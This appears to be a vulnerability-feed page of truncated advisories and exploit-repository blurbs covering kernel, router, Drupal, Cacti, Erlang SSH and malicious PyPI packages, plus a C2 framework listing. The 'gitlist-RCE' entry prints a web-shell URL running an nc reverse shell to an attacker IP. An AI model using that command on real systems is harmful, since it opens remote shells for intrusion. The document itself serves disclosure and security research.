CVE-2026-98914

A flaw was found in the Linux kernel's amdgpu graphics driver. The driver fails to limit the nesting depth during the execution of ATOM command tables, allowing unbounded recursion. A local user could trigger excessive recursion to cause a kernel stack overflow, leading to a system crash and Deni...

CVE-2026-82104 API permission bypass via logic bug

In Teltonika Networks RUTOS devices running versions from 7.22 through 7.24.2 and TSWOS devices running versions 1.9 through 1.10, a vulnerability exists whereby an unauthenticated user can directly call LUA functions, bypassing validations that might be called under normal API requests. Due to...

EUVD-2026-113748

In Teltonika Networks RUTOS devices running versions from 7.22 through 7.24.2 and TSWOS devices running versions 1.9 through 1.10, a vulnerability exists whereby an unauthenticated user can directly call LUA functions, bypassing validations that might be called under normal API requests. Due to...

CVE-2026-82104

Teltonika Networks RUTOS and TSWOS devices are vulnerable to a logic bug that allows an unauthenticated user to directly call LUA functions . By bypassing the standard validation flows of normal API requests, an attacker could achieve OS command execution . This issue affects RUT, RUTX, RUTM, RUT...

CVE-2025-27590

CVE-2025-27590 - PoC Exploit Command Injection via Multipart Form Upload 📌 Description This is a Proof-of-Concept PoC exploit for CVE-2025-27590 , a command injection vulnerability affecting web applications that process multipart file uploads without proper sanitization. The vulnerability allows...

CVE-2025-25706

CVE-2025-25706 Description Item: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix Vulnerability Type: Remote Code Execution...

CVE-2022-46169_unauth_remote_code_execution

CVE-2022-46169 - Unauthenticated Remote Code Execution Cacti Unauthenticated Remote Code Execution through authentication bypass and command injection in Cacti 1.2.23 and 1.3.0 DISCLAIMER: This script is made to audit the security of systems. Only use this script on your own systems or on systems...

CVE-2026-118768

A flaw was found in botan. The command-line utility fails to verify the cryptographic signature and authorization of Online Certificate Status Protocol OCSP responses. An on-path network attacker or malicious responder can exploit this vulnerability by returning a forged response with an invalid...

CVE-2025-32433

CVE-2025-32433 – Erlang/OTP SSH RCE Vulnerability 📌 Summary CVE-2025-32433 is a remote code execution RCE vulnerability affecting the Erlang/OTP SSH daemon. The root cause is improper handling of pre-authentication SSH channel requests which can be crafted by an attacker to cause arbitrary comman...

gitlist-RCE

gitlist-RCE CVE-2014-4511 example: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2026-114523

Improper Neutralization of Special Elements used in an OS Command "OS Command Injection" vulnerability in Drupal Ffmpeg Image Toolkit allows OS Command Injection. This issue affects Ffmpeg Image Toolkit versions: from 0.0.0 to 1.0.3...

[R1] Tenable Identity Exposure Versions 3.93.6 and 3.77.18 Fix Multiple Vulnerabilities

R1 Tenable Identity Exposure Versions 3.93.6 and 3.77.18 Fix Multiple Vulnerabilities Arnie Cabral Fri, 10/30/2026 - 00:00 Several vulnerabilities have been identified, reported to Tenable and resolved. Please see the full list of resolved issues below. A command injection vulnerability in the...

Malicious code in test-01-rafamarrara-learning-dc (PyPI)

Source: kam193 c9be43a3b810f36aa360f4654e412805d5e5362b462836b38a161c99b6d07816 Package offers a middleware adding allegedly diagnostic endpoint to a web app. Besides allowing for env variable exfiltration, it also contains a hidden functionality allowing executing sent commands. --- Category:...

Malicious code in twitter-request-diagnostics (PyPI)

Source: kam193 d437e09d0338d5b7640d3132c723bc4c77d95a052b35f7a32335a1d832c799c1 Package offers a middleware adding allegedly diagnostic endpoint to a web app. Besides allowing for env variable exfiltration, it also contains a hidden functionality allowing executing sent commands. --- Category:...

endgame

ENDGAME C2 FRAMEWORK ENDGAME is a professional command and control framework built for authorized red team engagements, penetration testing, and educational security research. Designed to simulate realistic adversary techniques, assess detection coverage, and help security teams understand their...

CVE-2026-114523

The Drupal Ffmpeg Image Toolkit module (versions 0.0.0 to 1.0.3 ) is vulnerable to OS Command Injection (CWE-78). The root cause is the module's failure to sufficiently sanitize file names passed to the ffmpeg cli tool . This allows an attacker to execute arbitrary commands on the system, though ...

EUVD-2026-113552

Improper Neutralization of Special Elements used in an OS Command "OS Command Injection" vulnerability in Drupal Ffmpeg Image Toolkit allows OS Command Injection. This issue affects Ffmpeg Image Toolkit versions: from 0.0.0 to 1.0.3...

CVE-2026-114523 Ffmpeg Image Toolkit - Highly critical - Remote Code Execution - SA-CONTRIB-2026-220

Improper Neutralization of Special Elements used in an OS Command "OS Command Injection" vulnerability in Drupal Ffmpeg Image Toolkit allows OS Command Injection. This issue affects Ffmpeg Image Toolkit versions: from 0.0.0 to 1.0.3...

nodesub

NODESUB Nodesub is a command-line tool for finding subdomains in bug bounty programs. It supports various subdomain enumeration techniques and provides flexible options for customization. Features Perform subdomain enumeration using CIDR notation Support input list. Perform subdomain enumeration...

Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection

The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among...